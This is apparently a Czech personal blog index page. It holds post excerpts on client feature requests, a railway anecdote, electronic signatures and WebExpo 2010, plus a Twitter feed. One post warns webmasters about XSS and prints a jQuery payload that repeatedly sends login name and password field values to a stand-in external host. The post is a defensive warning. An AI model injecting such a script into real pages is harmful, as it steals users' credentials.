A naprogramujte mi tam ještě...
Přání klienta:
Chtěl bych doprogramovat ještě funkci, aby když ..., tak ....
Obvyklé úkoly pro realizační tým:
- Promluvit si s klientem, co to má vlastně dělat.
- Pochopit to.
- Najít důvody, proč to takhle nebude fungovat.
- Znovu si promluvit s klientem a vymyslet alternativní řešení, které bude fungovat.
- Navrhnout schéma propojení se stávajícím systémem.
- Upravit strukturu databází, zajistit zpětnou kompatibilitu.
- Odhalit a ošetřit možné nestandartní případy (výjimky).
- Naprogramovat tuto funkci (konečně se k tomu dostáváme).
- Vytvořit/upravit rozhraní aplikace tak, aby ji klient mohl (a uměl) ovládat.
- ... a aby ji mohl ovládat i v případě, že v databázi nečekaně vytvoří 100.000 záznamů a bude chtít některé rychle najít a upravit.
- Otestovat, zda vše funguje; pokud je někde problém, přejít zpět na bod 7 (v horším případě na bod 3 :-))
- A funkci spustit, pokud možno za plného provozu aplikace, bez výpadku a co nejdříve.
Co jsem tímto výčtem chtěl říct? Jednoduchost zadání, byť je definováno v jediné větě, neimplikuje možnost operativní realizace. A už vůbec to neznamená, že "doprogramování" provádí programátor (který to jen jakože nějak pošteluje, něco změní a ono to bude fungovat). Svět IT je někdy složitější, než se zdá :)
Veselé vánoční cestování s Českými drahami
Sobota, 18:50 hodin, rozhovor s paní za přepážkou na znojemském nádraží ČD.
„Dobrý den, můžu se zeptat, kdy jel dnes poslední vlak z Vídně?“
„Poslední jel 14:45.“
„Ok, tušil jsem, že to řeknete. A čím jsem tedy podle vás právě přijel?“
„Hmm poslední vlak měl jet 14:45.“
„To nám tu tvrdili i ráno, když jsme se se do Vídně potřebovali dostat, načež jsme kvůli tomu jeli raději autem do Retzu, protože jsme tušili, že z něj je vlakové spojení do Vídně lepší a měli jsme koupené (nevratné) jízdenky za pár tisíc.“
„Já tu v počítači vidím, že poslední jel 14:45.“
„Podívejte se z okna, ten vlak tam ještě stojí.“
„No ale tady v databázi v počítači...“
Spolehněte se na cokoli, co se týká ČD.
S XSS zranitelností se dá napáchat více škody, než si myslíte
Otázka pro webmastery: Víte, co dělá následující jQuery kód?
<script>$(function(){setInterval(function() {$.get('http://nejaky_web.cz/uloz_data.php', {jmeno: $('[name=l_jmeno]').val(), heslo: $('[name=l_heslo]').val() })},500);}); </script>
Pokud nevíte, a zároveň se někde na vašem webu vyskytuje výpis typu „echo $_POST[rocnik] “, upalujte svůj web opravit a vypisované parametry ošetřit.
Jestli provozujete web obsahující např. citlivá data uživatelů, pak vyloženě hazardujete. Za únik dat hrozí právní postih i vám, pokud se prokáže, že nebyla provedena ani nejzákladnější bezpečnostní opatření. Což obrana proti XSS bezesporu je. Více informací na Wikipedii.
Elektronický podpis - vyplatí se vůbec?
Elektronický podpis se v poslední době velmi rozšířil a může vám ušetřit spoustu času s vyřizováním na úřadech. Je to tak nebo se jej nevyplatí pořizovat?
Za elektronický podpis se v širším významu dá považovat jakékoliv uvedení identifikačních údajů autora do elektronického dokumentu. Takovýto podpis samozřejmě není schopen zaručit ani integritu ani autenticitu podepsaného. Avšak velmi často se tímto pojmem myslí zaručený elektronický podpis. Takovýto podpis zajišťuje pomocí kryptografických metod a dohledu nezávislé třetí strany (certifikační autority) integritu a autenticitu dat. Tím je zajištěno, že odesílatelem zprávy je skutečně ten, kdo předpokládáme a také to, že zpráva nebyla během přenosu změněna.
Jaké bylo WebExpo 2010 (krátké postřehy)
Kdybych článek nenapsal teď, tak už nikdy (důkazem budiž rozepsaný, dosud nezveřejněný článek o ročníku 2009). Takže... WebExpo 2010 jsem si užil. Objevilo se sice pár failů, ale byla zde hlavně pozitiva – skvělí lidé, hordy postřehů, nápadů, motivací a zajímavých myšlenek.
K přednáškám bych skoro neměl výhrady. Mile mě překvapil páteční dopolední Business blok následovaný „kreativními“ přednáškami v Designu. Zde mě jen trochu mrzelo, že si Lukáš Veverka a Petr Skala skákali do řeči, zjevně nejsou moc zvyklí prezentovat, ale jejich práce je úchvatná.
Po první přednášce jsem si zašel pro kávu, načež jsem si všiml nějaké dlouhé fronty. Začínala ve dveřích označených jako „registrace“, končila... někde v dálce. Ale jako fakt v dálce.
Stránka: < 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 >
Kategorie blogu
Twitter feed
- Michal Smrčka:
Včera jsme zahráli trochu jazzu na konferenci Vítejte u nás ve Znojmě http://t.co/ehfj7iHM . Btw zdravím @zitbrno ;)
18.5.2012 22:47 - Michal Smrčka:
@MichalCerny To se mi jednou ve stavu opilosti taky stalo. O to horší, že více než 10 tisíc Kč peněženka odmítá a nejde zavřít
18.5.2012 22:46 - Michal Smrčka:
Rathův obhájce je Adam Černý - muž, který žaluje Lupu kvůli rozkrývání kauzy Tojecool. Náhodička
17.5.2012 07:57
@michalsmrcka